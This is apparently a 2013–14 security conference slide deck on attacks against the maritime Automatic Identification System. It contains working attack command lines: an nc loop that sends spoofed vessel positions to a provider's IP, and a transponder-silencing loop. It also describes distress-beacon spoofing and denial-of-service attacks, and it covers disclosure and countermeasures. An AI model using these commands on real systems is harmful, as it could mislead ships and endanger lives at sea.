

#### AIS Exposed New Vulnerabilities and Attacks

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#### Outline

#### Balduzzi et al., October 2013, HITB KUL ++





# Automatic Identification System

- AIS, Automatic Identification System
- Tracking system for vessels
  - Ship-to-ship communication
  - From/to port authorities (VTS)
- Some applications:
  - Maritime security (piracy)
  - Collision avoidance
  - Search and rescue
  - Accident investigation
  - Binary messages, e.g. Weather forecasting

# **Required Installation**

- Since 2002
- Introduced to supplement existing safety systems, e.g. traditional radars
- Required on:
  - ANY International ship with gross tonnage of 300+
  - ALL passenger ships regardless of size
- Estimated 400,000 installations
- Expected over a million



## Data Exchange

- AIS messages are exchanged in two forms:
- Radio-frequency (VHF) 162 ± 0.25 MHz



Online AIS Providers

# **Online Providers**

- Collect and visualize vessels information
- Data upstream via:
  - Mobile Apps,
     Software
  - Email
  - API
  - Radio-frequency gateways deployed regionally



## Example – Port of AMS

#### MarineTraffic.com



## Example – RF Transponder

OpenCPN Chart Plotter + AIS Transponder



# **Identified Threats**

- Grouped in two macro categories
- 1. Implementation-specific = Online Providers [Software]

#### VS

2. Protocol-specific = AIS Transponders
 [RF / VHF]



# **AIS Application Layer**

- AIVDM messages, e.g.:
  - Position reports
  - Static reports
  - Management (channel...)
  - Safety-related (SART)
  - NMEA sentences, as GPS !AIVDM, 1, 1, , B, 177KQJ5000G?to`K>RA1wUbN0TKH, 0\*5C TAG, FRAG\_#, FRAG\_ID, N/A, CHANNEL, PAYLOAD, PAD, CRC

#### **AIVDM Encoder**

\$ ./AIVDM\_Encoder.py --h
Usage: AIVDM\_Encoder.py [options]

Use this tool to generate the binary payload of a NMEA0183 (attack) sentence. Brought to you by embyte.

Options:

-h,help	show this help message and exit
type=TYPE	Туре:
	1 = Position Report Class A;
	<pre>14 = Safety-Related Broadcast Message;</pre>
	18 = Standard Class B CS Position Report;
	21 = Aid-to-Navigation Report;
	22 = Channel Management;
	23 = Group Assignment Command;
	24 = Static Data Report)
sart msg=SART MSG	14. SART alarm message, default = SART ACTIVE
mmsi=MMŠI	MMSI, default = $247320162$ .
	970010000 for SART device
speed=SPEED	18. Speed (knot), default = $0.1$
long=LONG	18. Longitude, default = 9.72357833333333
lat=LAT	18. Latitude. default = 45.69101666666667
course=COURSE	18. Course. default = 83.4
ts=TS	18. Timestamp (sec). default = 38
v AtoN	21. Specify that the AtoN is virtual. default = real.
aid type=AID TYPE	21. Type of AtoN (light, bouve)
aid name=AID NAME	21. Name of AtoN
channel a=CHANNEL A	
	22. Specify chappel frequency for A. default = $2087$
	(87B = 161, 975, MHz) Ref TTU-R M 1084



- Ship involved in Military Operations
- MMSI 247 320162 (Italy)

# Spoofing – Online Providers

Ships or Aids-to-Navigation



embyte@wine:~\$ for i in `seq 100000`; do sleep 1; echo -n -e `./AIVDM\_Encoder.py --type=1
--mmsi=367532850 --speed=5.2 --long=-96.9197 --lat=32.8651 --course=353.1 | xargs -I MARCC
./unpacker MARCO 1 A` | nc -q0 -u 5.9.207.224 5322; done

# US to North Korea... What?!



#### • Wargames (1983) or cyberwar?

# Programming a malicious route

- Tool to make a ship follow a path over time
- Programmed with Google Earth's KML/KMZ information



# Hijacking (Rouge Gateway)



# Example

#### "Move" a real ship – Eleanor Gordon

#### Vessel's Details

Ship Type: Tug Length x Breadth: 60 m X 16 m Speed recorded (Max / Average): 7.5 / 6.4 knots

Flag: USA [US] Call Sign: WDG4089 IMO: 0, MMSI: 367532850

#### Last Position Received

Area: Mexico Gulf Latitude / Longitude: <u>30.1854\* / -91.0188\* (Map)</u> Speed/Course 6.6 knots / 328\* Last Known Port: <u>NEW ORLEANS</u> Info Received: 0d 0h 4min ago (AIS Source: 396)

Current Vessel's Track

Itineraries History

Voyage Related Info (Last Received) Draught: 3 m Destination: Info Received: 2013-10-15 04:10 (0d, 0h 4min ago)

Recent Port Calls:

No Records Found

Ex Names History

No Records Found

	"Ra contra		
	ELEANOR GORDON Flag: USA Ship Type: Tug Status: Underway Speed/Course: 6.6 kn / 328"	No photos for this ship <u>Upload a photo</u> <u>Vessel's Details</u>	×
405	Length x Breadth: 60 m X 16 m Draught: 3 m Destination: Received (396): 0h 6min ago <u>Show Vessel's Track</u> <u>Distance to</u>	More Actions 🔻	
		Mississin	
	405 St Ph Ceme	illip A	(325) Ashland Rd

# Popping Up in Dallas?



# Radio-Frequency (VHF) Threats



# AIS Communication over the Air

- Protocol designed in a "hardware-epoch"
- Hacking was difficult and cost expensive
- <u>No authentication, no integrity check</u>

- 2014
- Craft AIS signals?
- Let's do it via software!



# SDR – Software Defined Radio

- Many applications, e.g. Radio / TV receivers, 20 USD
- Radio amateurs, SDR transmitters

- Reduced costs
- Reduced complexity
- Increased flexibility

Accessible by many, pirates included!

# **Our Testing Lab**



# **AIS Transmitter**

Built & implemented a software-based AIS transmitter
GnuRadio, http://gnuradio.org/



Custom block: AIS Frame Builder [Ref, HITB KUL 2013]

# **RF** Spoofing

- Radio-frequency (VHF) version of spoofing
- Setup : [Attacker] [Victim]
- Amplifier : 20+ km (modified radio)



## Victim's Console

🗎 e	asyTRX2 Pro	ogramming Tool								
File	Help Data	Columns								
Stati	c data   Diag	nostics Sent data Receiv	ved data SD-	Card   CF	A-Alarm	Anchor-Alarm				
Class	MMSI	Ship Name	Call Sign	SOG	COG	Latitude	Longitude	Last Report	Bearing	Range
В	316025497	ENIGMA 3		5 kn	209*	43° 06.6772' N	006° 38.6404' E	9:55	n.a.*	n.a. nm
A	319032900			0 kn	291*	43° 42.0778' N	007° 20.7700' E	8:53	n.a.*	n.a. nm
A	247086200	ATHARA	IBDI	0 kn	221°	44° 24.5560' N	008° 54.7260' E	0:00	n.a.*	n.a. nm
A	247490000			0 kn	303*	44° 02.0248' N	010° 02.7196' E	8:53	n.a.*	n.a. nm
A	235075616			0 kn	275°	43° 41.7633' N	007° 20.5411' E	10:27	n.a.*	n.a. nm
A	247244700	SANTA RITA	ICHL	0 kn	308*	44° 24.5659' N	008° 54.5509' E	0:08	n.a.*	n.a. nm
A	247066860			3 kn	159°	43° 32.8591' N	010° 06.0945' E	4:26	n.a.*	n.a. nm
B	416001337	TREND MICRO	FTR	10 kn	100°	44° 23.2750' N	008° 54.7783' E	4:54	n.a.*	n.a. nm
A	319112000	ROBUSTO	ZCMF9	4 kn	320°	43° 32.4517' N	007° 01.8372' E	8:32	n.a.*	n.a. nm
A	247270900	SAN FRANCESCO	ICHM	0 kn	263*	44° 24.0809' N	008° 54.4939' E	0:08	n.a.*	n.a. nm
A	235003950			0 kn	330°	43° 48.8976' N	007° 46.8622' E	11:23	n.a.*	n.a. nm
A	319861000			0 kn	63°	43° 44.0700' N	007° 25.6200' E	9:57	n.a.*	n.a. nm
A	253303000			0 kn	187*	43° 35.2249' N	007° 07.3399' E	12:36	n.a.*	n.a. nm
A	378314000			0 kn	288°	43° 49.1218' N	007° 47.1740' E	13:34	n.a.*	n.a. nm
A	247174800	SANTA GIULIA	IJCD	0 kn	0*	44° 24.7695' N	008° 55.0421' E	0:05	n.a.*	n.a. nm
A	235083004			12 kn	240°	43° 20.4090' N	006° 47.1670' E	10:45	n.a.*	n.a. nm
A	247077500	PUNTA GIALLA	IWUC	0 kn	0*	44° 24.1903' N	008° 54.3878' E	0:20	n.a.*	n.a. nm
A	319512000			11 kn	208°	43° 43.4999' N	007° 26.0399' E	9:50	n.a.*	n.a. nm
A	247284200	GIGLIO	IB×B	0 kn	355°	44° 24.0231' N	008° 55.0178' E	0:03	n.a.*	n.a. nm
A	247061690			3 kn	352*	43° 53.5186' N	009° 42.5038' E	9:54	n.a.*	n.a. nm
A	247030900			7 kn	69°	44° 03.2151' N	009° 50.8435' E	0:25	n.a.*	n.a. nm
A	247279300			12 kn	250°	43° 32.2470' N	010° 16.6429' E	9:40	n.a.*	n.a. nm
A	310081000			0 kn	314*	43° 41.9299' N	007° 19.1400' E	9:31	n.a.*	n.a. nm
A	247106500	NURAGHES	IBLS	0 kn	0*	44° 24.6030' N	008° 54.7540' E	0:02	n.a.*	n.a. nm
A	319037100			0 kn	139°	43° 44.8281' N	007° 26.7544' E	11:09	n.a.*	n.a. nm
A	247046700	AETHALIA	ITTA	0 kn	193°	44° 24.0592' N	008° 55.4803' E	0:04	n.a.*	n.a. nm
A	4749			n.a. kn	n.a.*	n.a.	n.a.	9:49	n.a.*	n.a. nm

# Injecting into legit AIS gateways



# Man-in-water Spoofing

- Fake a "man-in-the-water" distress beacon
- Trigger SART (S.O.S.) alerts
- Visually and acoustically
- Lure a victim vessel into navigating to a hostile and attacker-controller sea space
- Mandatory by legislation



# Man-in-water Spoofing

pastus@Ry=bird3; = %	pastus@fty-bird3: =/Scrivania/Ais_condivisa/Code
File Modifica Visualizza Cerca Terminale Aluto	Fáe Modifica Visualizza Cerca Terminaia Schede Anito
pastus@fly-bird3:-≸ cu -l /dev/ttyUS80 -s 38400   grep AIVDM	pastus@fly-bird3: -/Scrivana/Ais_con
tu: Stale lock /var/lock/LOKttyUS80 held by process 22092 created 2 313-10-08 20:59:14 AIVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37 AIVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37 AIVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37 IVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37 IVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37 IVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37 IVDM,1,1,,A,1>M4eT?P010PB0nHr3bC0gw<0000,0*37	010101010 USent Frame (NRZI enabled) = 0110011001100110011001101111111010010101
Crafting an SOS alert	

# Frequency Hopping (DoS++)

- Disable AIS transponders
- Switch to <u>non-default frequency</u> (RX and TX)
- Single or multiple target(s)
- Program a desired targeted region
  - Geographically remote region applies as well
- For example: Pirates can render a ship "invisible" upon entering Somalia

# Frequency Hopping (DoS++)

	pastus@fty=bird3;=						
file.	Modifica	Visualizea	Gerca	Fermiciale	Aiuto		
past cu:	us@fly-b Stale lo	ird3:-\$ 0 ck /var/1	u -1 /	/dev/ttyU CKttyUS	USB0 -s 38400   grep AIVDM SB0 held by process 22092 cre		
AIV	DM,1,1,,	A,1>M4eT	P010P	30nHr3bC@	∦gw<0000,0*37		
AIV	DM,1,1,,	A, 1>M4eT	2001009	39nHr3bC@	0gw<0000,0*37		
AIV	DM,1,1	A,1>M4eT	P818P	30nHr3bC0	agw<88888,0*37		
AIV	DM,1,1	A,1>M4eTi	P010P8	99nHr3bC@	≬gw<0000.0*37		
!AIV	DM,1,1,.	A,1>M4eT	P010P	38nHr3bC@	@gw<0000,0*37		
IAIV	DM,1,1,,	A,1>M4eT1	2P010P	30nHr3bC@	≹gw<0000,0*37		

#### Instructing receiver to listen on another channel



# **CPA** Alerting

- Fake a CPA alert, Closest Point of Approach
- Trigger a collision warning alert
- Possibly alter course



## **CPA** Alerting



# Malicious Weather Forecasting



# Slot Starvation (DoS++)

- Impersonate port authority
- Base station spoofing
- Book TDMA slots



# Slot Starvation (DoS++)

Base Station Spoofing

RR 7 2 1 M 🖉 🎢 🗛 🎥 🖆			
OverZoom			
	AIS Targ	let Query	
	MMSI 113669999	Class Base Station	
	Position 45 43.2000 N 009 43.4147 E	Report Age <b>79</b> 5	
	Range <b>1.74 NMi</b>	Bearing OOO°	
	CPA <b>0.53 NMi</b> in <b>1h 3</b> 3	3min	
		ОК	
\ Ship 45 4 1.4645 N 009 4 3.3945 SOG 0.32 kts COG 90° 45 45	.3867 N 009 34.2782 303	l° 7.5 NMi Scale 20050	00 (76.8x)

# Slot Starvation (DoS++)

#### Victim's Console

😫 easyTRX2 P	rogramn	ning Tool					_	. 8 ×
File Help								
Static data Dia	agnostics	Sent data	Received data	SD-Card	CPA-Alarm	Anchor-Alarm		
TRX Status			Hardware Stat	us		LED Status		
Valid MMSI		OK	Supply Volta	ge (Idle)	12 V			
GPS position	Fix	ОК	Supply Volta	ge (TX)	12 V			
GPS Error		> 10 m	RSSI 1		ОК	🚫 RX Only		
Satellites in vi	iew/used	10/06	RSSI 2		ок	🦲 Warning		
Transmitter		ΟΚ	TX Forward p	oower	447 - OK	Safety Related M	essage	
Receiver		ОК	TX Reverse	power	147 - OK	CPA+, Anchor- an	d AIS-SART-Alarm	
			VSWR-C	heck OFF		NMEA alarm outp	ut to Plotter	
Error Message	es				Warning Me	ssages		1
					53 AIS:	Tx TimeOut	56	
🎒 Start [	EasyTRX	2 Program	mi				« 🕅 🕺 4:	03 PM

🌺 easy TRX2 Programmi	ng Tool		<u>_ 8 ×</u>
File Help			
Static data Diagnostics S	ent data Received data SD-C	ard CPA-Alarm Ancho	r-Alarm
Last Transmit Position Repo MMSI Latitude Longitude Position Accuracy Course over ground Speed over ground TX Channel	vrt 247320162 45' 41.4655' N 009° 43.3742' E Low (> 10 m ) 264 degrees T 0 knots B	Last Transmit Statite MMSI Ship's Name Type of Ship VendorID Call Sign Dimensions A B C D	Data 247320162 GOLDEN GATE Passenger Ship n.a. KC9CAF 45 meters 45 meters 7 meters 7 meters
Last Transmission	7 minutes, 54 seconds	Last Transmission	6 minutes, 52 seconds
Transmission Schedule			Set "Rx-Only" by Software
Information presented is fo Actual transmission times r	r reference only. nay vary depending on local cond	litions.	Transmit ON
Positons Report Vessel Speed < 2 knots > 2 knots	Reporting Interval 3 minutes 30 seconds	Static Data	Every 6 minutes
🎒 Start 🔯 EasyTRX2 I	Programmi		< 🗐 <u>ត</u> 4:07 PM

# Timing Attack (DoS++)

- Instruct an AIS transponder to <u>delay</u> its transmission in time
- Default broadcast time:
  - Static reports = 6 min
  - Dynamic reports = 0.5 to 3 min (depending on speed)
- Attack code:

\$ while true; do ./AIVDM\_Encoder.py -type=23 -quiet=15 -target=246100200 | xargs -I X ./AiS\_TX.py -payload=X -channel=A,B; sleep 15; done

Listing 1.6. Example of availability disruption by timing attack.

# Hardware Panic! (DoS)

Flood the device... Noise on Channel + GPS

<u>M</u> acchina <u>V</u> isualizza <u>D</u> is	spositivi <u>A</u> iuto		
easyTRX2 Programming Tool			Ð×
File Help			
Static data Diagnostics Sent data	Received data SD-Card CPA-Alarm	Anchor-Alarm	
TRX Status	Hardware Status	LED Status	
Valid MMSI OK	Supply Voltage (Idle) 12 V		
GPS position Fix OK	Supply Voltage (TX) 12 V		
GPS Error > 10 m	RSSI 1 ERROR	BX Only	
Satellites in view/used 10/06	RSSI2 OK	😑 Warning	
Transmitter OK	TV Former A1E OK	Safety Related Message	
	TX Forward power 415 - UK	error	
Receiver OK	TX Reverse power 120 - OK	CPA-, Anchor- and AIS-SART-Alarm	
	VSWR-Check OFF	NMEA alarm output to Plotter yes O no	
Error Messages		essages	
075 AIS: Noise fail	52 75 AIS	: Noise fail 52	
	53 AIS	: Tx TimeOut 58	
	50 AIS	: GPS: no valid fix 48	
🥂 Start 🔛 EasyTRX2 Program	mi	« 🔇 🕺 3:4	7 PM
		😂 😳 🔏 🗗 🚍 🔟 🔕 🖸 Ctrl desti	ro

## Back to the r00ts

- AIS = Attack Vector
- AIVDM messages are exchanged and processed at application layer by back-end software
  - In VTS server installations
- Binary message, special type used for
  - Crew members, Number of passengers
  - Environment information
- Malicious payloads, e.g. BOF, SQLi, ...

#### Back to the r00ts

#### SQL Error in back-end processing

CSC <mark>9</mark> (45.407983N 7 BO3 (45.316667N 7 BO4 (45.303617N 7 (0.000000N 0. 369024000;under way ;12 003669960;Base station ;	3.565000W) 023° 17.0kts 3.918000W) 023° 20.0kts 3.926000W) 023° 16.0kts 000000E) 000° 0.0kts (gu 7°';10.5kt;44.897167N;75 2005-10-09;00:00:50;44.9	(gust 101.4kts) at 10-08 23:57UTC; (gust 101.4kts) at 10-08 23:57UTC; (gust 101.4kts) at 10-08 23:57UTC; ust 0.0kts) at 10-08 23:32UTC; 051009 000048 5.156900W; 60.0°;047°;50s; 051009 000050 982500N;7 <sup>4</sup> Sample2.log
003669960;Data link man	agement;	
offset:749 slots:3 tip	meout:7 increment:750;	
offset:484 slots:5 ti	meout:7 increment:150; meout:7 increment:150;	164 Cancel Log File 4
I AIS Messages running from log fi	le.	_ [ ] ×
File Charts History Help		
Instant M	essages	Historical Data
Station ID	Weather Report	
Station List	AIS Messages Error #: 3075 Syntax error Please report this error to r	Image: Stripping operator       Image: Stripping operator         Image: Stripping operator       Image: Striping operator

# Attacking D-GPS

- Differential Global Positioning System (D-GPS)
- Used by port authorities to increase the precision of traditional GPS (meters → centimeters)

- Attack = Spoof D-GPS beacons to force ships into calculating a wrong "GPS position"!
- Message 17: GNSS broadcast binary message

## Attacking D-GPS

 Similar to "UT Austin Researchers Spoof Superyacht at Sea" – Monday, 29 July 2013



# **Responsible Disclosure**

- Experiments conducted without interfering with existing systems
  - Messages with safety-implications tested only in lab environment (wired connections)
- We reached out the appropriate providers and authorities within time
  - MarineTraffic, AisHub, VesselFinder, ShipFinder
  - ITU-R, IALA, IMO, US Coast Guards

## Proposed countermeasures

- Authentication
  - Ensure the transmitter is the owner (spoofing)
- Time Check
  - Avoid replay attack
- Integrity Monitoring
  - Tamper checking of AIS message (hijacking)
- Validity Check on Data Context
  - E.g., Geographical information

## Take Home

- AIS is widely used Mandatory installation
- A/S is a major technology in marine safety
- AIS is broken at implementation-level
- AIS is broken at protocol-level

• <u>We hope that our work will help in raising the</u> issue and enhancing the existing situation!

## Thanks!

- Dr. Marco Balduzzi @embyte
- Alessandro Pasta @aka\_pastus



# Bonus ;-)

- Real-World Experiment
- Simulate the operational conditions of an attacker at sea
- Coverage experiment
- Target: AIS Gateway Installation

• No time for demo video. Visit me offline